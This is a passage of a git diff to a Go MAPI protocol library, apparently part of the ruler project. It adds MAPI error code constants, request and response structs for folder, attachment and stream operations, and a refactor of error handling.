MAPI_E_USER_CANCEL: + return "MAPI_E_USER_CANCEL" + case MAPI_E_UNABLE_TO_ABORT: + return "MAPI_E_UNABLE_TO_ABORT" + case MAPI_E_NETWORK_ERROR: + return "MAPI_E_NETWORK_ERROR" + case MAPI_E_DISK_ERROR: + return "MAPI_E_DISK_ERROR" + case MAPI_E_TOO_COMPLEX: + return "MAPI_E_TOO_COMPLEX" + case MAPI_E_BAD_COLUMN: + return "MAPI_E_BAD_COLUMN" + case MAPI_E_EXTENDED_ERROR: + return "MAPI_E_EXTENDED_ERROR" + case MAPI_E_COMPUTED: + return "MAPI_E_COMPUTED" + case MAPI_E_CORRUPT_DATA: + return "MAPI_E_CORRUPT_DATA" + case MAPI_E_UNCONFIGURED: + return "MAPI_E_UNCONFIGURED" + case MAPI_E_FAILONEPROVIDER: + return "MAPI_E_FAILONEPROVIDER" + case MAPI_E_UNKNOWN_CPID: + return "MAPI_E_UNKNOWN_CPID" + case MAPI_E_UNKNOWN_LCID: + return "MAPI_E_UNKNOWN_LCID" + case MAPI_E_PASSWORD_CHANGE_REQUIRED: + return "MAPI_E_PASSWORD_CHANGE_REQUIRED" + case MAPI_E_PASSWORD_EXPIRED: + return "MAPI_E_PASSWORD_EXPIRED" + case MAPI_E_INVALID_WORKSTATION_ACCOUNT: + return "MAPI_E_INVALID_WORKSTATION_ACCOUNT" + case MAPI_E_INVALID_ACCESS_TIME: + return "MAPI_E_INVALID_ACCESS_TIME" + case MAPI_E_ACCOUNT_DISABLED: + return "MAPI_E_ACCOUNT_DISABLED" + case MAPI_E_END_OF_SESSION: + return "MAPI_E_END_OF_SESSION" + case MAPI_E_UNKNOWN_ENTRYID: + return "MAPI_E_UNKNOWN_ENTRYID" + case MAPI_E_MISSING_REQUIRED_COLUMN: + return "MAPI_E_MISSING_REQUIRED_COLUMN" + case MAPI_W_NO_SERVICE: + return "MAPI_W_NO_SERVICE" + case MAPI_E_BAD_VALUE: + return "MAPI_E_BAD_VALUE" + case MAPI_E_INVALID_TYPE: + return "MAPI_E_INVALID_TYPE" + case MAPI_E_TYPE_NO_SUPPORT: + return "MAPI_E_TYPE_NO_SUPPORT" + case MAPI_E_UNEXPECTED_TYPE: + return "MAPI_E_UNEXPECTED_TYPE" + case MAPI_E_TOO_BIG: + return "MAPI_E_TOO_BIG" + case MAPI_E_DECLINE_COPY: + return "MAPI_E_DECLINE_COPY" + case MAPI_E_UNEXPECTED_ID: + return "MAPI_E_UNEXPECTED_ID" + case MAPI_W_ERRORS_RETURNED: + return "MAPI_W_ERRORS_RETURNED" + case MAPI_E_UNABLE_TO_COMPLETE: + return "MAPI_E_UNABLE_TO_COMPLETE" + case MAPI_E_TIMEOUT: + return "MAPI_E_TIMEOUT" + case MAPI_E_TABLE_EMPTY: + return "MAPI_E_TABLE_EMPTY" + case MAPI_E_TABLE_TOO_BIG: + return "MAPI_E_TABLE_TOO_BIG" + case MAPI_E_INVALID_BOOKMARK: + return "MAPI_E_INVALID_BOOKMARK" + case MAPI_W_POSITION_CHANGED: + return "MAPI_W_POSITION_CHANGED" + case MAPI_W_APPROX_COUNT: + return "MAPI_W_APPROX_COUNT" + case MAPI_E_WAIT: + return "MAPI_E_WAIT" + case MAPI_E_CANCEL: + return "MAPI_E_CANCEL" + case MAPI_E_NOT_ME: + return "MAPI_E_NOT_ME" + case MAPI_W_CANCEL_MESSAGE: + return "MAPI_W_CANCEL_MESSAGE" + case MAPI_E_CORRUPT_STORE: + return "MAPI_E_CORRUPT_STORE" + case MAPI_E_NOT_IN_QUEUE: + return "MAPI_E_NOT_IN_QUEUE" + case MAPI_E_NO_SUPPRESS: + return "MAPI_E_NO_SUPPRESS" + case MAPI_E_COLLISION: + return "MAPI_E_COLLISION" + case MAPI_E_NOT_INITIALIZED: + return "MAPI_E_NOT_INITIALIZED" + case MAPI_E_NON_STANDARD: + return "MAPI_E_NON_STANDARD" + case MAPI_E_NO_RECIPIENTS: + return "MAPI_E_NO_RECIPIENTS" + case MAPI_E_SUBMITTED: + return "MAPI_E_SUBMITTED" + case MAPI_E_HAS_FOLDERS: + return "MAPI_E_HAS_FOLDERS" + case MAPI_E_HAS_MESSAGES: + return "MAPI_E_HAS_MESSAGES" + case MAPI_E_FOLDER_CYCLE: + return "MAPI_E_FOLDER_CYCLE" + case MAPI_E_STORE_FULL: + return "MAPI_E_STORE_FULL" + case MAPI_E_LOCKID_LIMIT: + return "MAPI_E_LOCKID_LIMIT" + case MAPI_W_PARTIAL_COMPLETION: + return "MAPI_W_PARTIAL_COMPLETION" + case MAPI_E_AMBIGUOUS_RECIP: + return "MAPI_E_AMBIGUOUS_RECIP" + case SYNC_E_OBJECT_DELETED: + return "SYNC_E_OBJECT_DELETED" + case SYNC_E_IGNORE: + return "SYNC_E_IGNORE" + case SYNC_E_CONFLICT: + return "SYNC_E_CONFLICT" + case SYNC_E_NO_PARENT: + return "SYNC_E_NO_PARENT" + case SYNC_E_INCEST: + return "SYNC_E_INCEST" + case SYNC_E_UNSYNCHRONIZED: + return "SYNC_E_UNSYNCHRONIZED" + case SYNC_W_PROGRESS: + return "SYNC_W_PROGRESS" + case SYNC_W_CLIENT_CHANGE_NEWER: + return "SYNC_W_CLIENT_CHANGE_NEWER" + + } + return "CODE_NOT_FOUND" +} + +//ErrorMapiCode provides a mapping of uint32 error code to string +type ErrorMapiCode struct { + X mapicode +} + +const ( + MAPI_E_INTERFACE_NOT_SUPPORTED mapicode = 0x80004002 + MAPI_E_CALL_FAILED mapicode = 0x80004005 + MAPI_E_NO_ACCESS mapicode = 0x80070005 + MAPI_E_NOT_ENOUGH_MEMORY mapicode = 0x8007000e + MAPI_E_INVALID_PARAMETER mapicode = 0x80070057 + MAPI_E_NO_SUPPORT mapicode = 0x80040102 + MAPI_E_BAD_CHARWIDTH mapicode = 0x80040103 + MAPI_E_STRING_TOO_LONG mapicode = 0x80040105 + MAPI_E_UNKNOWN_FLAGS mapicode = 0x80040106 + MAPI_E_INVALID_ENTRYID mapicode = 0x80040107 + MAPI_E_INVALID_OBJECT mapicode = 0x80040108 + MAPI_E_OBJECT_CHANGED mapicode = 0x80040109 + MAPI_E_OBJECT_DELETED mapicode = 0x8004010a + MAPI_E_BUSY mapicode = 0x8004010b + MAPI_E_NOT_ENOUGH_DISK mapicode = 0x8004010d + MAPI_E_NOT_ENOUGH_RESOURCES mapicode = 0x8004010e + MAPI_E_NOT_FOUND mapicode = 0x8004010f + MAPI_E_VERSION mapicode = 0x80040110 + MAPI_E_LOGON_FAILED mapicode = 0x80040111 + MAPI_E_SESSION_LIMIT mapicode = 0x80040112 + MAPI_E_USER_CANCEL mapicode = 0x80040113 + MAPI_E_UNABLE_TO_ABORT mapicode = 0x80040114 + MAPI_E_NETWORK_ERROR mapicode = 0x80040115 + MAPI_E_DISK_ERROR mapicode = 0x80040116 + MAPI_E_TOO_COMPLEX mapicode = 0x80040117 + MAPI_E_BAD_COLUMN mapicode = 0x80040118 + MAPI_E_EXTENDED_ERROR mapicode = 0x80040119 + MAPI_E_COMPUTED mapicode = 0x8004011a + MAPI_E_CORRUPT_DATA mapicode = 0x8004011b + MAPI_E_UNCONFIGURED mapicode = 0x8004011c + MAPI_E_FAILONEPROVIDER mapicode = 0x8004011d + MAPI_E_UNKNOWN_CPID mapicode = 0x8004011e + MAPI_E_UNKNOWN_LCID mapicode = 0x8004011f + MAPI_E_PASSWORD_CHANGE_REQUIRED mapicode = 0x80040120 + MAPI_E_PASSWORD_EXPIRED mapicode = 0x80040121 + MAPI_E_INVALID_WORKSTATION_ACCOUNT mapicode = 0x80040122 + MAPI_E_INVALID_ACCESS_TIME mapicode = 0x80040123 + MAPI_E_ACCOUNT_DISABLED mapicode = 0x80040124 + MAPI_E_END_OF_SESSION mapicode = 0x80040200 + MAPI_E_UNKNOWN_ENTRYID mapicode = 0x80040201 + MAPI_E_MISSING_REQUIRED_COLUMN mapicode = 0x80040202 + MAPI_W_NO_SERVICE mapicode = 0x00040203 + MAPI_E_BAD_VALUE mapicode = 0x80040301 + MAPI_E_INVALID_TYPE mapicode = 0x80040302 + MAPI_E_TYPE_NO_SUPPORT mapicode = 0x80040303 + MAPI_E_UNEXPECTED_TYPE mapicode = 0x80040304 + MAPI_E_TOO_BIG mapicode = 0x80040305 + MAPI_E_DECLINE_COPY mapicode = 0x80040306 + MAPI_E_UNEXPECTED_ID mapicode = 0x80040307 + MAPI_W_ERRORS_RETURNED mapicode = 0x00040380 + MAPI_E_UNABLE_TO_COMPLETE mapicode = 0x80040400 + MAPI_E_TIMEOUT mapicode = 0x80040401 + MAPI_E_TABLE_EMPTY mapicode = 0x80040402 + MAPI_E_TABLE_TOO_BIG mapicode = 0x80040403 + MAPI_E_INVALID_BOOKMARK mapicode = 0x80040405 + MAPI_W_POSITION_CHANGED mapicode = 0x00040481 + MAPI_W_APPROX_COUNT mapicode = 0x00040482 + MAPI_E_WAIT mapicode = 0x80040500 + MAPI_E_CANCEL mapicode = 0x80040501 + MAPI_E_NOT_ME mapicode = 0x80040502 + MAPI_W_CANCEL_MESSAGE mapicode = 0x00040580 + MAPI_E_CORRUPT_STORE mapicode = 0x80040600 + MAPI_E_NOT_IN_QUEUE mapicode = 0x80040601 + MAPI_E_NO_SUPPRESS mapicode = 0x80040602 + MAPI_E_COLLISION mapicode = 0x80040604 + MAPI_E_NOT_INITIALIZED mapicode = 0x80040605 + MAPI_E_NON_STANDARD mapicode = 0x80040606 + MAPI_E_NO_RECIPIENTS mapicode = 0x80040607 + MAPI_E_SUBMITTED mapicode = 0x80040608 + MAPI_E_HAS_FOLDERS mapicode = 0x80040609 + MAPI_E_HAS_MESSAGES mapicode = 0x8004060a + MAPI_E_FOLDER_CYCLE mapicode = 0x8004060b + MAPI_E_STORE_FULL mapicode = 0x8004060c + MAPI_E_LOCKID_LIMIT mapicode = 0x8004060D + MAPI_W_PARTIAL_COMPLETION mapicode = 0x00040680 + MAPI_E_AMBIGUOUS_RECIP mapicode = 0x80040700 + SYNC_E_OBJECT_DELETED mapicode = 0x80040800 + SYNC_E_IGNORE mapicode = 0x80040801 + SYNC_E_CONFLICT mapicode = 0x80040802 + SYNC_E_NO_PARENT mapicode = 0x80040803 + SYNC_E_INCEST mapicode = 0x80040804 + SYNC_E_UNSYNCHRONIZED mapicode = 0x80040805 + SYNC_W_PROGRESS mapicode = 0x00040820 + SYNC_W_CLIENT_CHANGE_NEWER mapicode = 0x00040821 +) + //-------- TAGS ------- //Find these in [MS-OXPROPS] @@ -101,6 +404,9 @@ var PidTagRuleProviderData = PropertyTag{PtypBinary, 0x6684} //PidTagRuleLevel the TaggedPropertyValue for rule level var PidTagRuleLevel = PropertyTag{PtypInteger32, 0x6683} +//PidTagRuleUserFlags the TaggedPropertyValue for rule user flags +var PidTagRuleUserFlags = PropertyTag{PtypInteger32, 0x6678} + //PidTagParentFolderID Contains a value that contains the Folder ID var PidTagParentFolderID = PropertyTag{PtypInteger64, 0x6749} @@ -238,8 +544,8 @@ var PidTagInstanceNum = PropertyTag{PtypInteger32, 0x674E} //PidTagMid is the message id of a message in a store var PidTagMid = PropertyTag{PtypInteger64, 0x674A} -//PidTagBodyHtml is the message id of a message in a store -var PidTagBodyHtml = PropertyTag{PtypBinary, 0x1013} +//PidTagBodyHTML is the message id of a message in a store +var PidTagBodyHTML = PropertyTag{PtypBinary, 0x1013} -//PidTagHtmlBody is the same as above? -var PidTagHtmlBody = PropertyTag{PtypString, 0x1013} +//PidTagHTMLBody is the same as above? +var PidTagHTMLBody = PropertyTag{PtypString, 0x1013} diff --git a/mapi/datastructs-abk.go b/mapi/datastructs-abk.go index 1b025b4..1e5467a 100644 --- a/mapi/datastructs-abk.go +++ b/mapi/datastructs-abk.go @@ -98,6 +98,36 @@ type QueryRowsResponse struct { AuxiliaryBuffer []byte } +//SeekEntriesRequest struct used to get list of addressbooks +type SeekEntriesRequest struct { + Reserved uint32 //0x000000000 + HasState byte + State []byte //36 bytes if hasstate + HasTarget byte + Target AddressBookTaggedPropertyValue + HasExplicitTable byte + ExplicitTableCount []byte //optional uint32 + ExplicitTable []byte //array of MinimalEntryID + HasColumns byte + Columns LargePropertyTagArray //array of LargePropertyTagArray if hascolumns is set + AuxiliaryBufferSize uint32 + AuxiliaryBuffer []byte +} + +//SeekEntriesResponse struct +type SeekEntriesResponse struct { + StatusCode uint32 + ErrorCode uint32 + HasState byte + State []byte //36 bytes if hasState enabled + HasColsAndRows byte + Columns LargePropertyTagArray //array of LargePropertyTagArray //set if HasColsAndRows is set + RowCount uint32 //if HasColsAndRows is non-zero + RowData []AddressBookPropertyRow + AuxiliaryBufferSize uint32 + AuxiliaryBuffer []byte +} + //AddressBookPropertyValueList used to list addressbook type AddressBookPropertyValueList struct { PropertyValueCount uint32 @@ -150,6 +180,11 @@ func (qrows QueryRowsRequest) Marshal() []byte { return utils.BodyToBytes(qrows) } +//Marshal turn SeekEntriesRequest into Bytes +func (qrows SeekEntriesRequest) Marshal() []byte { + return utils.BodyToBytes(qrows) +} + //Marshal turn AddressBookPropertyValue into Bytes func (abpv AddressBookPropertyValue) Marshal() []byte { return utils.BodyToBytes(abpv) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 6b76352..bc9607e 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1,18 +1,9 @@ package mapi import ( - "fmt" - "hash/fnv" - "github.com/sensepost/ruler/utils" ) -func hash(s string) uint32 { - h := fnv.New32() - h.Write([]byte(s)) - return h.Sum32() -} - //ConnectRequest struct type ConnectRequest struct { UserDN []byte @@ -24,6 +15,7 @@ type ConnectRequest struct { AuxilliaryBuf []byte } +//ConnectRequestRPC ConnectRequest structure for RPC type ConnectRequestRPC struct { DNLen uint32 Reserved uint32 @@ -60,6 +52,7 @@ type ExecuteRequest struct { AuxilliaryBuf []byte } +//ExecuteRequestRPC struct for RPC ExecuteRequest, slightly different from MAPI/HTTP type ExecuteRequestRPC struct { Flags uint32 //[]byte //lets stick to ropFlagsNoXorMagic RopBufferSize uint32 @@ -71,7 +64,7 @@ type ExecuteRequestRPC struct { type ExecuteResponse struct { StatusCode uint32 //if 0x00000 --> failure and we only have AuzilliaryBufferSize and AuxilliaryBuffer ErrorCode uint32 - Flags []byte //0x00000000 + Flags uint32 //0x00000000 always RopBufferSize uint32 RopBuffer []byte //struct{} AuxilliaryBufSize uint32 @@ -211,11 +204,11 @@ type RopSetPropertiesRequest struct { //RopSetPropertiesResponse struct to set properties on an object type RopSetPropertiesResponse struct { - RopID uint8 //0x0A - InputHandle uint8 - ReturnValue uint32 - PropertProblemCount uint16 - PropertyProblems []byte + RopID uint8 //0x0A + InputHandle uint8 + ReturnValue uint32 + PropertyProblemCount uint16 + PropertyProblems []byte } //RopGetPropertiesSpecificResponse struct to get propertiesfor a folder @@ -320,6 +313,40 @@ type RopCreateFolderResponse struct { Servers []byte //only if IsGhosted == true } +//RopEmptyFolderRequest used to delete all messages and subfolders from a folder +type RopEmptyFolderRequest struct { + RopID uint8 //0x58 + LogonID uint8 + InputHandle uint8 + WantAsynchronous uint8 + WantDeleteAssociated uint8 +} + +//RopEmptyFolderResponse to emptying a folder +type RopEmptyFolderResponse struct { + RopID uint8 //0x58 + InputHandle uint8 + ReturnValue uint32 + PartialComplete uint8 +} + +//RopDeleteFolderRequest used to delete a folder +type RopDeleteFolderRequest struct { + RopID uint8 //0x1D + LogonID uint8 + InputHandle uint8 + DeleteFolderFlags uint8 + FolderID []byte +} + +//RopDeleteFolderResponse to delete a folder +type RopDeleteFolderResponse struct { + RopID uint8 //0x1D + InputHandle uint8 + ReturnValue uint32 + PartialComplete uint8 +} + //RopCreateMessageRequest struct used to open handle to new email message type RopCreateMessageRequest struct { RopID uint8 //0x32 @@ -426,6 +453,38 @@ type RopOpenMessageResponse struct { RecipientRows []RecipientRow } +//RopCreateAttachmentRequest used to create an attachment +type RopCreateAttachmentRequest struct { + RopID uint8 //0x23 + LogonID uint8 + InputHandle uint8 + OutputHandle uint8 +} + +//RopCreateAttachmentResponse holds the response to a create attachment +type RopCreateAttachmentResponse struct { + RopID uint8 //0x23 + OutputHandle uint8 + ReturnValue uint32 + AttachmentID []byte +} + +//RopSaveChangesAttachmentRequest used to create an attachment +type RopSaveChangesAttachmentRequest struct { + RopID uint8 //0x25 + LogonID uint8 + InputHandle uint8 + OutputHandle uint8 + SaveFlags uint8 +} + +//RopSaveChangesAttachmentResponse holds the response to a create attachment +type RopSaveChangesAttachmentResponse struct { + RopID uint8 //0x23 + OutputHandle uint8 + ReturnValue uint32 +} + //RopFastTransferSourceCopyToRequest struct used to open handle to message type RopFastTransferSourceCopyToRequest struct { RopID uint8 //0x4D @@ -492,6 +551,46 @@ type RopOpenStreamRequest struct { OpenModeFlags byte } +//RopOpenStreamResponse struct used to open a stream +type RopOpenStreamResponse struct { + RopID uint8 //0x2B + OutputHandle uint8 + ReturnValue uint32 + StreamSize uint32 +} + +//RopWriteStreamRequest struct used to open a stream +type RopWriteStreamRequest struct { + RopID uint8 //0x2B + LogonID uint8 + InputHandle uint8 + DataSize uint16 + Data []byte +} + +//RopWriteStreamResponse struct used to open a stream +type RopWriteStreamResponse struct { + RopID uint8 //0x2B + OutputHandle uint8 + ReturnValue uint32 + WrittenSize uint16 +} + +//RopSetStreamSizeRequest struct used to open a stream +type RopSetStreamSizeRequest struct { + RopID uint8 //0x2F + LogonID uint8 + InputHandle uint8 + StreamSize uint64 +} + +//RopSetStreamSizeResponse struct used to open a stream +type RopSetStreamSizeResponse struct { + RopID uint8 //0x2B + OutputHandle uint8 + ReturnValue uint32 +} + //RopReadStreamRequest struct used to open a stream type RopReadStreamRequest struct { RopID uint8 //0x2C @@ -739,6 +838,7 @@ type RopBuffer interface { Unmarshal([]byte) error } +//Request interface type type Request interface { Marshal() []byte } @@ -749,7 +849,7 @@ func (execRequest ExecuteRequest) Marshal() []byte { return utils.BodyToBytes(execRequest) } -//Marshal turn ExecuteRequest into Bytes +//MarshalRPC turn ExecuteRequest into Bytes func (execRequest ExecuteRequest) MarshalRPC() []byte { execRequest.CalcSizes(true) return utils.BodyToBytes(execRequest) @@ -911,6 +1011,16 @@ func (modRecipients RopModifyRecipientsRequest) Marshal() []byte { return utils.BodyToBytes(modRecipients) } +//Marshal turn RopFastTransferSourceCopyPropertiesRequest into Bytes +func (emptyFolder RopEmptyFolderRequest) Marshal() []byte { + return utils.BodyToBytes(emptyFolder) +} + +//Marshal turn RopDeleteFolderRequest into Bytes +func (deleteFolder RopDeleteFolderRequest) Marshal() []byte { + return utils.BodyToBytes(deleteFolder) +} + //Unmarshal function to convert response into ConnectResponse struct func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { pos := 0 @@ -938,7 +1048,7 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { logonResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) logonResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if logonResponse.ReturnValue != 0 { - return fmt.Errorf("[x] Non-zero response value: %d", logonResponse.ReturnValue) + return &ErrorCode{logonResponse.ReturnValue} } logonResponse.LogonFlags, pos = utils.ReadByte(pos, resp) logonResponse.FolderIds, pos = utils.ReadBytes(pos, 104, resp) @@ -952,22 +1062,26 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { return nil } -//Unmarshal func +//Unmarshal for ExecuteResponse +//the output seems to vary for MAPIHTTP and RPC +//MAPIHTTP StatusCode,ErrorCode,Flags,RopBufferSize +//RPC StatusCode,RopBufferSize,Flags,RopBufferSize func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { pos := 0 var buf []byte execResponse.StatusCode, pos = utils.ReadUint32(pos, resp) - if execResponse.StatusCode != 0 { //error occurred.. + //for MAPIHTTP, none-zero value indicates error. Should be same for RPC/HTTP but have encountered servers that return value 3 + if execResponse.StatusCode == 255 { //error occurred.. execResponse.AuxilliaryBufSize, pos = utils.ReadUint32(pos, resp) execResponse.AuxilliaryBuf = resp[8 : 8+execResponse.AuxilliaryBufSize] } else { - execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) - execResponse.Flags, pos = utils.ReadBytes(pos, 4, resp) + execResponse.ErrorCode, pos = utils.ReadUint32(pos, resp) //error code if MAPIHTTP else this is also the buffer size + execResponse.Flags, pos = utils.ReadUint32(pos, resp) execResponse.RopBufferSize, pos = utils.ReadUint32(pos, resp) buf, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize), resp) - execResponse.RopBuffer = buf //decodeLogonRopResponse(buf) + execResponse.RopBuffer = buf execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) } @@ -980,7 +1094,7 @@ func (ropRelease *RopReleaseResponse) Unmarshal(resp []byte) (int, error) { ropRelease.RopID, pos = utils.ReadByte(pos, resp) ropRelease.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropRelease.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %x", ropRelease.ReturnValue) + return pos, &ErrorCode{ropRelease.ReturnValue} } return pos, nil } @@ -992,7 +1106,7 @@ func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, err ropContents.OutputHandle, pos = utils.ReadByte(pos, resp) ropContents.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropContents.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %d", ropContents.ReturnValue) + return pos, &ErrorCode{ropContents.ReturnValue} } ropContents.RowCount, pos = utils.ReadUint32(pos, resp) return pos, nil @@ -1005,7 +1119,7 @@ func (setStatus *RopSetMessageStatusResponse) Unmarshal(resp []byte) (int, error setStatus.InputHandle, pos = utils.ReadByte(pos, resp) setStatus.ReturnValue, pos = utils.ReadUint32(pos, resp) if setStatus.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %d", setStatus.ReturnValue) + return pos, &ErrorCode{setStatus.ReturnValue} } setStatus.MessageStatusFlags, pos = utils.ReadUint32(pos, resp) return pos, nil @@ -1018,7 +1132,7 @@ func (createFolder *RopCreateFolderResponse) Unmarshal(resp []byte) (int, error) createFolder.OutputHandle, pos = utils.ReadByte(pos, resp) createFolder.ReturnValue, pos = utils.ReadUint32(pos, resp) if createFolder.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %x", createFolder.ReturnValue) + return pos, &ErrorCode{createFolder.ReturnValue} } return pos, nil @@ -1039,7 +1153,7 @@ func (createMessageResponse *RopCreateMessageResponse) Unmarshal(resp []byte) (i } } else { - return pos, fmt.Errorf("non-zero return code %d", createMessageResponse.ReturnValue) + return pos, &ErrorCode{createMessageResponse.ReturnValue} } return pos, nil } @@ -1053,7 +1167,35 @@ func (deleteMessageResponse *RopDeleteMessagesResponse) Unmarshal(resp []byte) ( deleteMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) deleteMessageResponse.PartialCompletion, pos = utils.ReadByte(pos, resp) if deleteMessageResponse.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %x", deleteMessageResponse.ReturnValue) + return pos, &ErrorCode{deleteMessageResponse.ReturnValue} + } + return pos, nil +} + +//Unmarshal function to produce RopEmptyFolderResponse struct +func (emptyFolderResponse *RopEmptyFolderResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + emptyFolderResponse.RopID, pos = utils.ReadByte(pos, resp) + emptyFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + emptyFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + emptyFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) + if emptyFolderResponse.ReturnValue != 0 { + return pos, &ErrorCode{emptyFolderResponse.ReturnValue} + } + return pos, nil +} + +//Unmarshal function to produce RopDeleteFolderResponse struct +func (deleteFolderResponse *RopDeleteFolderResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + deleteFolderResponse.RopID, pos = utils.ReadByte(pos, resp) + deleteFolderResponse.InputHandle, pos = utils.ReadByte(pos, resp) + deleteFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + deleteFolderResponse.PartialComplete, pos = utils.ReadByte(pos, resp) + if deleteFolderResponse.ReturnValue != 0 { + return pos, &ErrorCode{deleteFolderResponse.ReturnValue} } return pos, nil } @@ -1067,7 +1209,7 @@ func (modRecipientsResponse *RopModifyRecipientsResponse) Unmarshal(resp []byte) modRecipientsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if modRecipientsResponse.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %d", modRecipientsResponse.ReturnValue) + return pos, &ErrorCode{modRecipientsResponse.ReturnValue} } return pos, nil } @@ -1081,7 +1223,7 @@ func (syncResponse *RopSynchronizationOpenCollectorResponse) Unmarshal(resp []by syncResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if syncResponse.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %d", syncResponse.ReturnValue) + return pos, &ErrorCode{syncResponse.ReturnValue} } return pos, nil } @@ -1095,7 +1237,7 @@ func (submitMessageResp *RopSubmitMessageResponse) Unmarshal(resp []byte) (int, submitMessageResp.ReturnValue, pos = utils.ReadUint32(pos, resp) if submitMessageResp.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %d", submitMessageResp.ReturnValue) + return pos, &ErrorCode{submitMessageResp.ReturnValue} } return pos, nil } @@ -1109,12 +1251,12 @@ func (setPropertiesResponse *RopSetPropertiesResponse) Unmarshal(resp []byte) (i setPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if setPropertiesResponse.ReturnValue == 0 { - setPropertiesResponse.PropertProblemCount, pos = utils.ReadUint16(pos, resp) - if setPropertiesResponse.PropertProblemCount > 0 { - fmt.Println(setPropertiesResponse.PropertProblemCount) + setPropertiesResponse.PropertyProblemCount, pos = utils.ReadUint16(pos, resp) + if setPropertiesResponse.PropertyProblemCount > 0 { + //fmt.Println(setPropertiesResponse.PropertProblemCount) } } else { - return pos, fmt.Errorf("non-zero return code %x", setPropertiesResponse.ReturnValue) + return pos, &ErrorCode{setPropertiesResponse.ReturnValue} } return pos, nil } @@ -1128,7 +1270,7 @@ func (getPropertiesResponse *RopFastTransferSourceCopyPropertiesResponse) Unmars getPropertiesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if getPropertiesResponse.ReturnValue != 0 { - return pos, fmt.Errorf("non-zero return code %x", getPropertiesResponse.ReturnValue) + return pos, &ErrorCode{getPropertiesResponse.ReturnValue} } return pos, nil } @@ -1150,7 +1292,7 @@ func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byt buffResponse.TransferBuffer, pos = utils.ReadBytes(pos, int(buffResponse.TotalTransferBufferSize), resp) buffResponse.BackoffTime, pos = utils.ReadUint32(pos, resp) } else { - return pos, fmt.Errorf("non-zero return code %x", buffResponse.ReturnValue) + return pos, &ErrorCode{buffResponse.ReturnValue} } return pos, nil } @@ -1202,7 +1344,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope queryRows.InputHandle, pos = utils.ReadByte(pos, resp) queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp) if queryRows.ReturnValue != 0 { - return pos, fmt.Errorf("Non-zero return value %x", queryRows.ReturnValue) + return pos, &ErrorCode{queryRows.ReturnValue} } queryRows.Origin, pos = utils.ReadByte(pos, resp) queryRows.RowCount, pos = utils.ReadUint16(pos, resp) @@ -1222,7 +1364,9 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope } else if property.PropertyType == PtypString { trow.ValueArray, pos = utils.ReadUnicodeString(pos, resp) rows[k] = append(rows[k], trow) - pos++ + if len(trow.ValueArray) > 0 { //empty string means no extra null byte. + pos++ + } } else if property.PropertyType == PtypBinary { cnt, p := utils.ReadByte(pos, resp) pos = p @@ -1245,7 +1389,7 @@ func (setColumnsResponse *RopSetColumnsResponse) Unmarshal(resp []byte) (int, er setColumnsResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) setColumnsResponse.TableStatus, pos = utils.ReadByte(pos, resp) if setColumnsResponse.ReturnValue != 0 { - return pos, fmt.Errorf("Non-zero return value %x", setColumnsResponse.ReturnValue) + return pos, &ErrorCode{setColumnsResponse.ReturnValue} } return pos, nil } @@ -1257,7 +1401,7 @@ func (getRulesTable *RopGetRulesTableResponse) Unmarshal(resp []byte) (int, erro getRulesTable.OutputHandle, pos = utils.ReadByte(pos, resp) getRulesTable.ReturnValue, pos = utils.ReadUint32(pos, resp) if getRulesTable.ReturnValue != 0 { - return pos, fmt.Errorf("Non-zero return value %d", getRulesTable.ReturnValue) + return pos, &ErrorCode{getRulesTable.ReturnValue} } return pos, nil @@ -1271,7 +1415,7 @@ func (ropOpenFolderResponse *RopOpenFolderResponse) Unmarshal(resp []byte) (int, ropOpenFolderResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenFolderResponse.ReturnValue != 0x000000 { - return pos, fmt.Errorf("Non-zero reponse value %d", ropOpenFolderResponse.ReturnValue) + return pos, &ErrorCode{ropOpenFolderResponse.ReturnValue} } ropOpenFolderResponse.HasRules, pos = utils.ReadByte(pos, resp) @@ -1294,7 +1438,7 @@ func (ropGetHierarchyResponse *RopGetHierarchyTableResponse) Unmarshal(resp []by ropGetHierarchyResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropGetHierarchyResponse.ReturnValue != 0x000000 { - return pos, fmt.Errorf("Non-zero reponse value %d", ropGetHierarchyResponse.ReturnValue) + return pos, &ErrorCode{ropGetHierarchyResponse.ReturnValue} } ropGetHierarchyResponse.RowCount, pos = utils.ReadUint32(pos, resp) @@ 